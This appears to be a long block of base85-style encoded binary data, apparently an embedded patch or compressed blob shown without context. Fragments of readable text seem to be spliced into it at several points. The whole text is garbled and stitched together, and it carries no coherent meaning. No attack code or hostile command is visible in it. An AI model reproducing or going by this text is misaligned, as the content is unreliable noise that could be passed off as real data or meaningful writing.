zYKofqNcSHcjI4y;maM|RPgaV>HJ~koizRDdSp|zku`fjo#gdJ{oCiz}FpLlyZ7707 zZ36yM;1}^mTfX?3ufrB3Td6~@L3d+)>+@`TMMxettNLvr}n@M^j0-kVC^V=Qg_qxtkK!Oj6aGzGdmN&>sC|msQ2vBh%yk2kY5bFh=3N- zzH&M!)e-zrwskv9bu)lhVR?l>7k~hocM=RT`V{za7~=M4xM#V_DzW%X;Fbcn_##-= z&~gL4jd%RTUC zRmU#gp}@NUggmwC#0jc{U&S6@?JLXEvNX()^M?Yf;!9t7 zX6Vld!59jOx@b%7QgP&(!DZX~`=N)>(t*u}3I6<-5Vq;D7=@#Fn?-AT=Ro^TZrzwq zcqR7}O}4k0&Q6$%oW(li0&rQ!jR{WwI(P^GWBR5Jcelcv>G86kG~4M<3#J=%I@2>p z!TLx5zzBIT=b4Sq2>;NR_qF!ptb+Ddn9tiuYUlGQ`iCX`Ahr}#9)U7nA!~PG4UQ;~ zw}HGf=}8Cfwm`C;w>J`npbo>Q-qpi*zy5QL%+-#nyYmS}((4^HdgtSxV5F^a^y#Bf zYGfc1Q3sJJR;yzVk-0)2e@Htsw_zDVq>-J$)y)S#GC?;7rwZ?cxeZB(HI4s@nGF}i zM;bXh*np4vrKE&cqxzvG)gJ}(i!#z!KYq+5SUmCfvV6}6I!TF>| zitE*MME&{Ck;V0+PMaXQqcCE^Tb|s8sql{`ct&=^KE#S9cuBZ{wUNeud$?gK=rnR( zO2di3(FC`pHLypg$-pMnHQ2PX#8)xP{q$9CaMug->yUMBT(!>!5qDST=3q)TP_Sw5 z?(C#eO*Hrd68%5x(~ME2f#3gv5=~4~;gjhd98`Q`jh59s!c<(5@)Anc{uo(}CoZd@ z3lp-MPA+D!&~{`sv}#!mZIsohFJv|RQdXnBkk#-@Sq;BhRzsVX)hJv{Rzt{<)hHGv ztD!9>t054R)ewluY6wtPqc|w5(H6*Rv<0#n#R6H4MnG1h5R}zu3}rR6X;}?zF-{4VdAP4v2z#>ApJZhVxHWcN$8mqU% z(fh(WItjKUyr_RUzrc4zZ!DNZY`2VRZMPk@jVunNR zqGwHqe||Jxg@ap9v>_M89y z-q`m`tN^?g>!Ep0=qs#-V}#kj#5!3e%uYn0*ENKnzL@9Pti~oiNjiuy+dO~T4darP zFx$K!=MSJJTYtiTAnpf5cbpt@!8Cvsn|WdJGl*}TzN4+J2j_8P^otZd$m2p*ayI0d z=v9M3_L>1e0YW#C7A&#NdW;moM+l{0ExZbl_$55I#A%QcefqtuyNhwiy)0j{Hxjo& zWU>7$5`vKkX)?8*x%d^jCQE$#GfA2wqdnx5xhJu*eFq;${@p`}vz20GX0KolsvTIH zQw>jC$nB(0$e^OwW(zXj6OEx$9drijpT`whIKuU;f@=6{n;8cp!n<`hZaj;fu9s`T9iakcLj@`iy_5F?xUj5=u=;pH!B3HeQW;Y=4CY$-mX2eprr4$m+vWKgAHhMg z+DUR$O&dC!T6Ze#OnYj6kh+N?xwf}`EVV*Yt>hS~4yRIf3459*_~L|R*mquvedhsT zPuIjivev3SzN3E|)rW*VLlZ*Dka&*Jr?qElN`~-^pALIgzL)79k1Xs+eks%FEyOy~ z*~9l_gx3JFtQP#^wy_94L1&koDUhY!qmgdg2NPumj=lmH^g^C5qsT+{ zA*YvHWOkKc z%;h_9j(IU`^(w;IDz^11w%IDG^(w02J{`uIq_toU_dzJq5d2TXK;$q6V|_mh>AFhA zkg3bP15Ain?)~a(Cl|R84{I3b}oz7VL z!b_NSRxSQ*&usj!gYn*nnuP()RfI|^;OYP?%mWbziM}w|L53Zq(u4{)ND)JVGw2|F zK#Hpk7L|>(fBIE$D{i4W^V(0zS63aB}SgwbRARSaY>#4rmW ztH^^%8bF4h35Izv$rw4Xj~=)lxC=Fm-TuM75mJ1{06zifc;FNA3?2Kf?;Z(j*fX@j zu@-xVx@g4=#oB@Y;4E~7G-hLVihJ#t`!#19sp1!ixg~!0nN(2DC_4LQR~~XDy%qU` zM2Y8FN#O;Q0I)wU{T`Qqh1suF!qRwJ;8Pc}>$yxG4mpMUP=36XW`HThf$!e!ZP6XA(H?agG+gj9 zQfgXp9RZj04vW<3iEILfOEHRaA0#}WuW2wVvWnTRM|D(|7M~gM9b_{atR&;OH!^@- zZ4&bgxi$JS2KYU82iY2X4TGUhg5xAb!D$G{P)FUZ3v-4Ds8jLQMY(kZ^ci{UV#Q~< zXXFiiINsWm_7<4D)(^<)oS3(U6cV6XCR$ge@kSo6#f6#=`ILB6-by?wZymftjh~FS z56@9CZmv7NHrgWW%ceBJU%w8^gT*5QONy?pU5(R(Q5-s`TZT>36%9?$AB8fx$oKp- zJ);_}G?}OH+{1;Qd((ph@JA%q@QOvHgQ5=ndiH4o)_5_3d)KAszVzVZ2+fzwGvnKO z)e#cU{pl&~@CnO1rC{xOKr@AsW6t(#Oh$4GZ>01*sKK!CA2iaQhtj=g(^Ka2W<);7 zdgK);mZvVqdp!`Tja|D3czbCqMMviN7`asE7^RNfQ5qRr5H~}4o@cS0L&N2sl{p#r zqXi_d;W*@3l@mCg9a{40?twPpsn78u(q+K6(ZrK(i zHE2>s0x9;S$^e7`njDUksQ}umZtwv4Xid&fc2B`JB|2`(3EYdM7sse0+%{`!$(Uuf zr$zf(hU%o(*`u<@vo@#TH^?2Y#VogC$6&0H!+dD89)&8bD^jYlWJvoMJ&N?W9tBJGXw!NW3K!F(Amr##C>Eth zL0e3Zf6bJPvv;}$;+5$Za#R5GFjes77LQs!FW2i?#o7SVCEv837 zKgtQ(7ZLS`LwmW(h zaY9^aV!6u^N7WKFLXUz7>QSh#)}x?xtRBS#x=hfcARODdBjD;$C`Lz*g7ySG3W9Mx ziUcU8M?qYo9tA`KO>5Wi=ufnuDQ5obw_pw~HYnD^JVz$FM@;peD z!e;v90)Goc^I5I!?MjZc(9cdwWKpioxzi#ATf%VOgNo__9-DFKrlYtecWZRVY#|q$ z74Ri9AXoTrp?3qjw?ZN`%CA-0udGgWCQsHW(D$)kLzDeTbGP=o-k*x4ZI-%B0YR>I zd{;2|);PX9uRuY1@v;8zfRje^Ie4AD6P-zhyeV`Iy~kmSC~lSFV^l(Z#|cB7qCpl> zt5nFF{T!;SEJ$oH>O?uY5c0c89CdtIcnwP*@e%TS{@)=l16erN(S>6OIqcX&BFy0A zt>!F*mV>1NHW6@SU;ZHdJ|JxKw0#luZ;VO~jy%LJ7mz;;a7JRAyFky4_H}g6sXi>~ z7K-y47UfmXNO@L%L~v~(hqnZ=n%IeBC0a)GtjyA$48oKAt?(QH|3Z3+tU}}}VG8Kx zW%yw1MLm$ek>(^I3eV-=<@~!Ae?_Df-vV15oYcY;-v{6nSh@)O9Dsq|_FV$60%!tI z4^zxT3FpFcI!wVlocpaQKu|9*s0U@B5_8sx-N4=h@=stUt_SceEYA>F1K`iFya7|< zI=0@YW6V61Lj&?80izs-VaXyuhgGmt!j!H+h_?e#CL5JrypG4;7>^J#Lf$U}ce?Rd z2?w?Gf$=yImJMi^o+UeVM#;cnd7wB|wKigM|;7m%cY{JZ2Xn z9;@ipy)qENL|7&34LEp>KF~XfLFpp`^sWFv4vdNi9a~+A@mK`X0vP468J437(BU>% zc*jfWVQ@4eKPH(Vp9NpuL-55GfXl#lG0fyt0AB&6I0VZ+V15dtg6@Sc>KSNxvb0p3 ze*x07Fe>ObV0n!IgSOG?c$>-;mLVOQ{6n6{^Dh_VFpP3s3Cm0ZbbKT%t6)k8oOqYZ zM!1CX)>n|Be}Zm)D(YC7QqyX`E&|36z(~BtRT75-Ks({rIiNHHkgrR#6|RcE3S=uh zKM`iy4FHUx^`(!3>pLOko~vvqs^5b4@iZ_vBD8Hpk0|6^DP<`f&UEDUb7c-^#4}az zI#*6n0Q(cN&LK359Se@@K~d~58Kf#PG{Sq@d3z2J*)9Uzt=lOd?y&8sit=z9z_+hS0<_6oiix*rCy7jwb$YZFe4gOx1Lk;dK>Q5 zXHAyOqnV5z!E6=vfqsbXJ#uO$I+&Tfqa47zG(=j=M(+rbIj*4D21VTNj&}BJR3=9! z^Qx4rVpY(qdtG-o=x5o@;@FVxW9Q&rzb&o{6%}=iy~|1R#f5h;wyx?kMsg z0v93TXTjubMBU5hs=^p*nTO8yF4ft-3ew9k^APNhRj}1abrsBE2jJ-jMEXp4IS=_0 z@AIDz-hjY5z|;maH3vn_!f(|TC;(}Tm_8ZEmw_xj43>D+@?95!ms308_lKZf?$kNu zDyA2L5 zjfhD>My~rti+7dYyer=Q4H6RCgToKBpSi{2&QT{oWwoq)J%0b(@*{2XCf;$C!UpMHbbHMnb#R|Fh#Yj}mNz&$GOv7ba5Z1Wrx znY+`ro3d5$=g%ZnZRqQrgWiXnF!y@y(sU&7v)XjCmZFAP3HR1GashP(?c1Q)IG?89 zzKLBydo8L{0^Yf;6j#uaV0rejw&4oeg>dbQJFjt8Y`lUN)?=0`nw#VE%t7GckJFB8+yZ6o#@&SU}2=~qs3ILiTc<(Hs5FmZ;ETIfQ z`rcVWVSD7gvmwMPA1?;E_s){%BErtSvxN5$cJ7@ed^us~-dVz5vE6%T2@Tusy|aY& z+U~uxgl+(*zIT?;jkbI5ETNli_ug4Tx56Fnyu-b-gl@ClduIvV$?%uqemdMcOZaX( z;oeyy_8|&zjC*GZ?I(LP*m3VH;YUzLm92g=K|JirobJ0lT|{Ub`v~QB`9SuU%!zgiT>}!nLbJ zT6W^KtHhvckGgi1*nq~yuTsUetHh%=VGWUR?JAL|R6xdgaqTM6VSCKAtBh>EJ^I>J zGWUpN)_vB%00+eek#vx2SGk+1co%^;NZya6NQzyuifdOnswIuMc69?-O^Xha|AJ6< zxS^zoq=XA^UWe^^dYgk8F}sMyP)d+1J|zZ0T64`3D>T!p%;na z$NVtzZ(MyPiYc>R`u|Gc z?dPL%*qV%X;; z?BULrDBByK5}7O5b-VK;IeaW;c-b*+k*Jo&+&_cp%MhC{!GtL)c4lHi?oVQbAAtEG zX}FG6T|e-kkNz%z9z`ikSZO3cGhw@s4|$oQ-vavrOwMhXLZ1ZRdjRBe1zwGR3zul* z{KKJ~H-?f?tljJ#NtrEj7C4k2yOafvZ+UA$c`Sw%IcGYYuei9mF6R}XP&-S-X0FKD z?{KCdmI|k1I9udD3Q8Zac`w2;B}NuG?>J6sT%3-^Y*7%LsH3huS3%BZd9yn%X2xE`f1X+9KjV(KO1APovDk zbLhWE&6_OTp#NV8+toO?pmEMnyn3^%c1;VfCAQj)^djUSo?qzh-6E_GBZnaFX4G(} zhArW@UR7T6bg_18Z8B`)ywRqXdgv?HwbbDfe(tgg3$ocrve3~E68lvaTC`Jw>T z-f__*&ZR-DN#*etXoYuZ6?5wxO*cRv`E03mZqcLz@CVmD<8@JN7}et{j{$X~xpiJq z`Xr{ohnG$JcdM%`h4qD^;Ch6FYn=Ip1)eq8*6UEt*OUyTnNMz57ic&zu4>ic0?gl<+bBPK3T*6nG3# zwQxy4o&)6tD-L0=Cir{}J8@Osrj{<=ej==Ei&9}zfou2VHg>^%bmmb-p3tZUWDNcjq zgHES#^iZi;p{3()bR6H#nFV&+ynJ7T#}X50&c0e+=C6@awz&rkI6WC-*wV2ZW0@={ zx*P7zYw+iaYUnknA|Q)>{{%ijKu+|tB8Y(2120MPbJ`ie+otfOv@jKrPXvifVf#Sp z>C|ui2>(e8i|(|xl$=sZcH6uNQA%|OO&q^~hKh6l-YJqwuX{@(;`i`N4j+fnGt{-b zr)QOVfL6#;3Rrd!6os6Vnex;W#t)(*U?2wLjj-~x)B%O_rA;V}h}H1wH3XcF=s?zV z!DPl_I(q-fFzHCf1v7{_2GClV2{Yj43y{!fG{JHuESVVkbWUUIj#2s#L{Rc?0%LiV zHx0P#Q}H+94In?nmXZjQPrw8Dv;@z2-UWbjXxEG#ASp&M;qP$s2*W!aIBxzXhL@XA zbl6#C0jVrS6=;)^J9>FKSskh@^7F8%vK{+4TT_??n4;kJNjxJIFaLgQrQpU#*B@M- zsE&z+5Q+1_FNbRp{Se5YlCjr-q3VWQrh*wnK5b_1@c~}NyIkS#2JSYPf<^Ey z1!LkAc$Scy34Oq;ygeP3#b8Jvj*Tm}RT3gvp(46xVnl3L5q&on(TYh z%LGXHp2{yx+>#l+L*uW^b40@5Lwo*A=5JdeKt1I78}DB=Vn>|uWy|5I1L?!%zfcIbJt2Sdd#(M*5LJaP{_+>30$E8pt%H=`npO4y(FR+(*C?o{49 zGx!E04iO$j*H7x$cv6QrA8?qu>F&ezTvho~@6>Pa0NPwEhn3k0TI!p4(2%z%6{s3&#o$2CWpgW*lAHlEa>tI66` zm9X)o&UJ8B4utchj*TaEl9AgBg^#SHs*E=^`~w&E3$IqiO(+K&PwKFwykno#0V(H? zaO<(i;2!&>MyIRdoMGchotrU~C%aGT*mzQhae&gZQZG(;Qpd)VIwTo^-@;QH59#a# zWW|+|6CcvC@sJM5zPLZmLpnAd(jmpwj~?|(gpG%E7)mJcUknA0=MYMFQ=S-m8;|Gw z8BA`7tv+;P2jrmX@6DhRuVh)4F>1L`3+ITTXMc?&!lw%t&<~+=)ymMH3)Eg<{ zfQ=V(K989Ra!yr#yqKf&ZFTGBZT--(-qO+UKC@-x0Ufp|1FGY_V~BW9heXpk0?U3$s=xY=2MAsa6e1{x?__1rX&Q;3i!p37fq=uB@e?zAZ z6mRknnc*O{KX{Xe$Z&EUnt6vh2Vmo69^&$o9hJzM9terHV!14AJkvu`aWbC-Nx%j7S92ZUa8%VrQ?Ah(yNkjqwJh2$Ctvyma4c&doh^~tPD%e(tA=#3 zWo1eu)w5e*WS&^@E zwxPd!6Q>?4y88zPTe`MG!fCJ6v{<#NTiw`zlab47n<3G{o?;U>bMrH9glD0T5Q5Ny zWL>_Bkd?e*TmMeHn1RJ%7ca22kJ1DTk33ss*K06DI1!d(2%HMwB3RCcVM#rV z|MY0xz?yBn)B>jJZC$T(y|o(9guGdS+{_>cEJK$PI==u(wdj+88F;M1S4k;=NtAMJ6QCYYWmRbVL z!joV*9tOYkDC8cEwecB?+$)(S2PQ>C73gxf9qM8_cdk>pqv`<3*3;-1v!OEYYTxjix8UWUVN^+`AtzH|)GyX!Ape~d>m3EzC)pnq!{<5p z%Hg+=WSzWzmAnkqD-5XQsYsC3-oQxgaH30Kyy(tgbk9nRE`d>;2a6s$W>+%}?{u(O z_LfD&=_-z?>1_ z^Sj{2{RiN7YZ8HYUN3>S3t&`UM`1Y;hCkJ6K7eakP1ik1s?XU0>L846HKeFkb0JU{ zz^GQU7nW-Xu+{tsmLJ04H>#>G-L1wZxlHAXKuE)2lEZARMSTvfl>L1yXKE8_>Izkq zFTm^PVRTJhscPz90lz_scx`>bPIex>WHOuv+4CS@{1{g_>J2m7b+`8(pRELl*pgw*a~G@$WrJ`*oxbw}|bD zOS_9v2P|>Rr=H@0!S?QLPLg*x7nU4yn)gnLsK}?UYmsqlL6=3J0bKIW|2aKeRxNz zuanbqVHPVt^MyfqnJ`OoE=2gy>eBVoEi9f#W>nlVz^IG?1IHw=$BZMxvkM8Lxh8dP z#cuKJdG9IEO2RY~Pi)OzYQrr~CnP(!@5nhJ`u0^c*2`f6-$&8@H=NuI6J!^Q<9dM? zf#mBnzjlyjlGp&E1tLCps0jZ7-pGb;NZrVm@;f-mf)il$)}TjSpW(3tLQ7qQ=?;y# z&kl!Xz(Qkf45qHam&Ux$4vTO(+sL=DYw+pz3W;r`4{xsFJjfw8kvEb4;VDAgUx@5J z=s_HF)EzCj#8N3hk8?*0PYAl3CpH1oy`#k}%Ka@H)2PPd-1%$nWF_RI9-G3)!11ukOuvW$7z!(%Z}kF}W2$GfA&7=1@etX{2^elFfMr>nf)WumIYc2Tv6hQgBLw0&P znnqIe7#5B2UTROc3REDL?#63x-plL^mXwtgrBb^>t9VVxSY-1m$l(&A_wAn$B}Cx3uQXX0)wW$S))j%t8OW2XLtJ`PD2-K*cZNo z^?ag+0!jUS>il+zhC_hcx^SqmRHn0&%}5&T+O~ZF%3yev6zXb`GMpRi!-PP{a*ZhGyDx4fK}x1dlNvtRAsMvHi`?12~VwyUTz=18o>mt^4Y{Hc%jt6y6RP5O%LWyu!wohS2Wh)3W!E|JJRgyRdMqj?P0|hKJ0z>3SX0g zEI@c1*4L~cpRXTPu$?bi_*xVu;2YS^+imcQvm2got)hf{=$E*?FMR71A_Jo=LiHVE zGNavWKhBd58BG=_(I)yGJw@ky9MRi>flwxJY{x0K1Q736<6#TFB&}z|P7M??(=VBz zH)}E7LWnqb02x<-(~L9yArc?O#P$K00^Qg%{RM37?*a37Vi|q-Gli@{NG+0K3e@a5 z)4!k!eeKaeOe9jzp)>uf3c)&z6>twsA!LKuelJ~n@l@PTuw*VAXoYGgFBIs7crdJq zcVMme1DK+<>_c+>sqBBuq1(F*rKwB%?^=!X6u@RIBNJj|+WSv~-&z0!6%%Qz! zmYz)Ki~PCl_bV|seja`n>K;zW#r|CO!YAfnN)1!Um!b!ubdBetm-(}pnCo(}@`ou@ zT^rOcDBE1=4_t=$r{v+r8PF!~K?H7xJinydjlre<5c?;_pzPtJA|j&{A`aaD19%c% zW}H1q9?i5skn-y_5pguCSUCjmjF*tXfXba8!S^4+lsMgFFp#0Wyync3HZ`b_by5)` zNpGjT5046_K!lUs5D`;hnS`~3IdsjL`1)i7|5$VEMUdqON`$Ch9YLUdh&Zkn@_h|~ zPxT;e?EYeqQ|j_t1Bvbv51Z3GT3WLF^XvBgN<;3k>5y70bnngVr@bXHVsat?9L+KX7 zOx*yW9+p)wQ`WD<(Hdl*n34)-pQCMBd<5I&3{65l?ejdnBqDg0P!4|y{lawg3Qzkc zbF{*8dWLGXPx}rd=~8&S8AhG6iK1i0B~ZQq=VMnxB61nbOx#!eyf2fZ)2!Wy&hOy0 z{zt17@+F`5Lq>ZKNdE-;hcK1H045;!(_qA`n*b$6m{9&JSAX#Nt5V_WL6FM9G#RGy zX#k60SwL6iS0HxFl&f+N!b$aej|OJ;?f9F@zq7&B2s8D50K>&XoCQ-w-Z@VJV+^gT zd>P-*O+I*?i=+tv z)}uw$!&FWN@G2}Xz?5B7n^3&Ps7dNBmhwS#KF`!d;L-bx{_Q^d6bKuqeiP{RsOv2- zQ@;ja7?wRSbAJe+7!_eH*yh{@fRQb`b9q7sb!V)DQejm50sgZVb;F4ha9I%?@O^34 zwgH4*(d;nsU2s(eD;?H~HivR!+NMj$IV_b???o&7vsX9b|IN6+x+r%5%_$x`8Mu> zI&2A?l0{LzmO#Pck|P%G%W%4Or^^{3yr>Jj5e2`H_y=pu&hK?;dO~XNs{=Df*B|hrSW4g|Tqn$A2&!DR~4ng6S zW!CCmZ}MWy8>XhC(Z3A(OE6PC0N#e>Edn3FK@zH{4`%9L02ISg2vbE5<`jX~7}`*F z4g8!2J8FfjLVd|V4DbmfVywfz0r?3`5TXc-6=MernWGv9Jl3ptz`&NUTQQ(!6+88( z!oMUUE}J66C8UrYQoxFQAioae^@+$TAb*b;$bRL=IDs7Dc=ckUtBZkTC3|~>s{sUZ zg~RScfw&=;-3TN@b`goi+2IuDY_DhULfkZkl*?g`fh^A1ql$C3F3!bB^jsKSobyK& z=X~$T;+(IG^I|yoJd7&N?;|LQ`xFq^GH-Ga!KvbW674?TL!!w7CqY@!k!06nZ=NZ{J=6Ocu<~)yT9G!5m z9;SRJ@?$fCl2Fe?ZZ7d8pMc<|-U;-#K>r5J)SChP6qdUQd>z0qV0o6nq-7)kyaoU?u11&5;wWCoa-_s_;jPTtQ0g+(=9-mCu9t6_%(YK3k=hlQq|4= z)mCLyIu!x~m?G5?ziF$E7&j4B9EBRmpece!Cu0uPdzer)F~*eNt!X`AV?Xi}#l}8B zlzkbv{m3OSg@{P3V=A3aMO$HeM0G^mYN8N^nPobeE9_!M|BHxKKa5W13VS+}xu^nB zg(*;rixu|ac4`*8OE<23j4aWBeXwn zE1a4FRh;hNg2;-Iqy6O$Wr|CQO-X(P3jJQ-Q0Vu|4)@wI+|w86P`9}hch*o*?@%sq zDQ*a5H#ig(qhcqU#uRCHZ)X(eCwsY!&9Xg>(<5RJvKWdxh@39hEPE2O|3PH^y)e35 zv+UU{*M9)<7Lls1X4$nY!sh9y>@bB;Ps`KQbq~NV!j!1_M855#_Za#LF{LQ5{q*WZ zkROC8yBcxel8X`N_}Ap!E_R6gQjE~wXIk_e=bu(Jqq|_{P9Atowo|#Z9b4=BTid&LMf-S}IPO@qJhvVe5o^GS zJVL*vQ+}5bAP?Iwe!dm7my+M)u$qKSac7t~(%wo2j`QX9Y1A)oEScd9#_kea0 zjOulN0L%Aarkn^ywR#g3L0G@fZW;bMT@Pc=$xhjyK%>8^e$I63=Mt{SUV%3UV9L%J zmq(R9$DjzAnRHPTpW$}4?Lay8TVAF>avrw`<6ys~#=&YO4DPooSPK@lBdPt?5fr0T ztDd^wT1J2?!JU>`2`2j7p?vOgeC9w!pSu!$?n>~vE79k!xX)W1pO?nttUS)w9&;D+ zLnKKKb6H=&yWE7#w{jWdv{~4Yg5k)XZ&h)+jy``n-$Ki`=99x13QcFS@~x#zi7}M1 zP^B#2I!eRg63CTGEN8&)Dum}HRyH$o9XwtIQ_=zVB~}^p&lu_{>Fh&0F11o9lC;g@ zJrQvPSF)VL3t6G7+e}KRg`8%EA3@Y-qN#Lj>VR}`xh$m_W|3@73>3!nvLoRqlI-so?)uIeio=N5k1h=-HEI^Q=`wBgJBGY?X**M z6lZC|AAo$$Aqe?7Q}vPIdDvovVH-VHqaFcxIZ;YTEw9k7KROJ3GtA^OXFv*ue7m&> zEGG+jwW)SiOAkl-U_|+45CIf|Ns0*9MQ535e+BE*p98%P4D~Qm_XD^ImMaL{0RUS# zq8vucc21rdf%Qf@|A%Q;6oZL#vQxmY14i`@!?1h>X3EuIR=tCo&b1+8%rk5BbZ$Q|FQGDA0EZ}9%kWj=N`W`5~P@UT(NN>Df-JBTp45!j!5G>lcQqLwO4^>4Q;)b}ynN z#jA|eQ%2?u6Oqv@v?ZV~fKi3k0n3R5SZH5|meUoYbn$B5h4}jrb zy5L0m_ptm1X38sIju%?dJciszrze|s3A|QLvll@Y2BVzLhh-j2*$Obzsmg30%3{hl z=0wEbftm6sEdPY1VmiEMF&+!A#w(NvWT(%;9}XA&w~yV?7>l-t~QUn z%dpvDN(!PEZR~Ev6yPqSh^R%-_CdFJmob%)o-5p?%QbPXv9qmjJNLG(H9V3s=tast zhcct;u9qe52DeH(J_1egM6XR*qd&8XZ2 z)Yo8iRjV@8Y%6OqCPFZJYPHbt(Jzb&dXQga1oa@lN>2|K>zZ^l9IS?!`~;$~7IE~# z5vyODq56mIpq&h(M*g?JgU*iKbcf+pWqlQBSHP&U{s}BUf|-(8;Zze*aVp%Xksto5 zf*E30jH{jSkMVz%sCd-jsC7A%lta_%;SmcvO4^9RKF6Vq!0H(xCF^QNn3|a5x{UG+ z&zsXAvPL@OFejJH>^!4{yDRS@>aW4*T+K78SZHT05uy*KA`4@Jw;XN3jphI<_GBRG zO9%!rNyk8A?zt`^@U5I#E=AS^Et_i+71dx>auBjQi~qw`IqpB+?Wklp_2z2nxfPi( zhjn+DnZ%@AEhjT6?;ys1fN|^1)p7>w&2cEd)i64RSIZiv@OB_>f>HgjADLqar5gT} zwEv8_s$%xkpen(rVlIcJ3}(u7Fvoj?W0lil3(1Il}ImV0q)oTMTK)v{P-_OuYC$$(D<9uR^VDSqZ2rzuvDS9?)^aO((5*09Ai|ohhquM?PPc zi{B6KAOfQ968KJ2_Z9rnFdUT-_v^1o7r8cOFXA06i9TK3K$V19?Nl5-WSzi04H5BQ zs5>{KL=UbLI7W}py(PkVWbM#Z_e|?`)G^cg8~*<_)jixk0G%sg&daWrjBD&l@q=6( zZd%j9Xa5DI6*hh$<@e?mad6`B?c(w@Rm(s&HSRQP-?`+4tw7-;oB7EveHG*jb z10IK%O(^6+3wlBN{s~{8USM60ulFSUr64PPFM$JuZIFc}Hv=fv04|FX@)#A%Sxd3Fg$ZoL0_j-)JTUJC zc%?>ROg}b-xYq$6APy7aV<#|Pb;~ewf(Z=JVK$jA1^7jcqQiXReg^nq;x=x>owPfJ zJl?+#5&b(*ZxG$q+K*GW^7u4j>y~4+4HG0LOiW-my6WTeXx$FN$uKF;934?F#-w6w z;LYavs)v$U_{=TSV*KzzGcVmyZBicTX++Kx!xuSxo{3c4VD86D{p$wes^lxc)OtGOoT7vby9F z@Z#p9WMq2vG!_%@P49=E@)16Iv#=J^AD95vI7bADISJ75FcawSO9(~W=ta~QCTHvh z;%rb(gUKW^i=E?bfNqA#x){Klu)I#-%K!>iKnn>b#X@32Hgq02pzcH*FfYcN5F=7G zS*1!+%Q1`v?Bq;CuA;P^2uc+QR7t9 z4nyFTFe+;8uxuc}sC@yJ&%>nL4cD=#VXh$ZUI3ZKm}dm?ehUkYG2IB}y$1^o2B?sF zO~Mkx1)ojtsQSo5?;V>Wq9z-Hew0vRkE3n}ay6gFbdH~-H+%*;XUT!hjka{*VE zED@$ISt6`-$y`K&E}4rOqf2Hs%7>9=N0-bz+QU3_bji#n1v$E8X0w74bji#Xg&9Ye z%v`G|aa}TVokC;?i@IdyF(xxwb&dy9uQsiGl+3}$)TC(p#vZ7z@kUvnkt0(VqB~1& z7qFJ@LlTnfX`N222&{ou^{@q5%u=MJpmR{88aF9YW1|`&k*Y^E=7W`*Fsc#ZOQobr zjcNn~sqUyoD3q#4HR?QbRAYcD30!gZGe zs^c}vjZ9L3PQ(=xH^H5G$<1Eo(;la#$>CR05W14dZO)|qyXbYk1(UH6-Sg%`M$}#j zak@e&<;%@eUkBf`Rak()WNyJZS*-Ln&n;p84+S!`h;j20Iz1U2$G~Jjn^5bYZ>}SL zS{>p9liA+U)`zZrOR9Dq&Q!y~mI9v3HHPxDHmWut_o(Xd8eBX8leG~W{dBhmDJ>^8c3&eFUk^#&lHm8a6XNMJUfb5w^?6tsLps=VjKrSTm zOU+Qwfyu()F{IMyGtEH%yjRBb7sk5qrXk&TmDHz;~%i&!UsCIE2X>fQOd`$oC%r zzpqg6@KP1~k`3rPVX~-z7;RI}d0ndF|1PixNWlfKn8y!L~z zJV0O*fR|x;0j8)QKz0ivb}B4ESfqH95nGmb9wYW;U^(;sCwN8ijfnX5#E6Mx&pjyu zYsd%oVk3Bm%U=NgJkFL&c7y*`FqRg<<9lFv4m^BKj9ZnZEkHg7;4twfcC!I^*OSdglyJsVPbekB8_LgtHt1{46~Mxa1IY4_vQysBk&IE>i!5>&?UN!Pf73G7w<=jU53|`Ww)gwu@slhGVfacx;m<-RP2>oCfJ- zkQneoBS|`1lYZ5uldU2=stRMy%(aMVak_3=oHkG9ba8MS<^m-lj>(dp?i4+TEGg!^ zb&4~6DXDl2{p}QIepzxD=bv2Im#G;{7&DGCH4zKLuSsfN5$23|vY(!WF`1j3qHP!x zC#Ta|j-gb@<%XCVjdpccGEhA)e^W|^WikURb_?T8nZ+23X`5_}J}_LcPn!V?jZtf) zOyko%G)99Fn8th2XpFf=>a=WFXt?5^_ElJDj5+|v!a`#l2@m$bLSrn3*Pnxh##jO1 zURY?1WdH_Yp)qOz90?1Ju^fN}3k}5#(|!O8jj8RTd!MRfE8QiacL|OK0CHX zbt|Eet=Fx8f-f0R2|pWOFNMS(!uTEm2bMw%nd?>(AtF>0$Wyd@aIsBa-rS7yH~7lo zAEFIY8oM}?Hps>TnA}Hv^l>HTL^Uu0w6{p$E|5S8+-4?quzV*)yLm^@jCCl_&@f&7q9c)OOkr;#f$e| zxVwPY>BfEU#f$e|NH;(q`QD4yeeWe{%zH0h_q~@Sbq}t-mduOyUbeueP}1o4Uc7kk zg_I1WxfLrrFW!4093DST>b(~)-g{xZ@{{84y?F873vq?W(s7?g345LQUXtSPy?EXC zUXtSPy?EXCUXn(=_u_Tmdr2Dc-iz0L??w3$fA7WXzW0Jiy6?SsWAD9q)O#%8~kQSZI@#!ZyhdGEy<^WKYZ^m{MnD)gtLMxtcC@v;LZ@GH~;DT3T!in6eAsT`yb zIovjemfd3!m(=XM{!$%eW3){lNY2iqe_l50yT@Wc`gX;XL>aCL8SdXeN^KXgmXa&A zp4REa>U%N_j6zOaLI*e&n%J4_ge6Ihg(h|;3E|}zVPa>JZQe?9#zG+cMEH`_SO_qU zU?7QOA)stRp`=~H#Li?7eBoHg0M!j0r@^8^hP0L;n-~ifu?dm89EfybUVsk-vxzcX z6Ea*5J2fQdo`LorB6Qep>=VM|Vsh||5#S9lTLI$D8<7j$;%AIhqV52A zGfe)Q={RPI6iNO;U?Sw}MsOnhDF{r!66qAoiC_w|0YqR~3?qsjfum`=;D}G~$$4ga zEgif9>{`&96%RdbB+psodDrls_J7!W7cjf3`tJYiv(DOc=020TWhS@D4MHH3D-g&8 zCV@aQxe&u`!o?7hOb8?)B$E&VBrx37)_{PvVnDHKYY-GG2x5_X32K#Ajn=BKt--4O z`>JSL_3c~V&-b_XK6B2@015T=eV+f*d7eFcueI0pcmMs?TKlAp?&5tPSG(R=%lk?F zF&BZaXBkF6RrPs3oIwaw!vzgj&RQSPa9=hrVDH}rJpktDp_^!?6?ER0Z4zKH3WbIH zvSR|!b8Wj7#SPH;D7`$&MIOG`{n;9UY~+n#n`;!S>i1_G)S;kvf3{hV*YRd8m!Nll z);0644KqD05Zo1gU4TO~?Wzofds?KI zmvC`rwq99pC3z3mXhGr{;9~#I6)exq#>bI4W*z_jj3SS6jnU6XKFh-=xyEiK@e&VT zQDP5?mwEVs5_ggKEf2p|;vFPvZ$T(>jeUf~G#-vu;=?4?@^Cp;Hwq(Nk1C9$=5jju4uT2TWtKWAr#m)HyD|mS?DPT!87Q-4q%Z zV9B$+Fc^*kk?jGIqgWPd5BL+0Y%cOaej1sydTDzX2e3svKPBwdN|Qg0TGcOXqQJ#Z 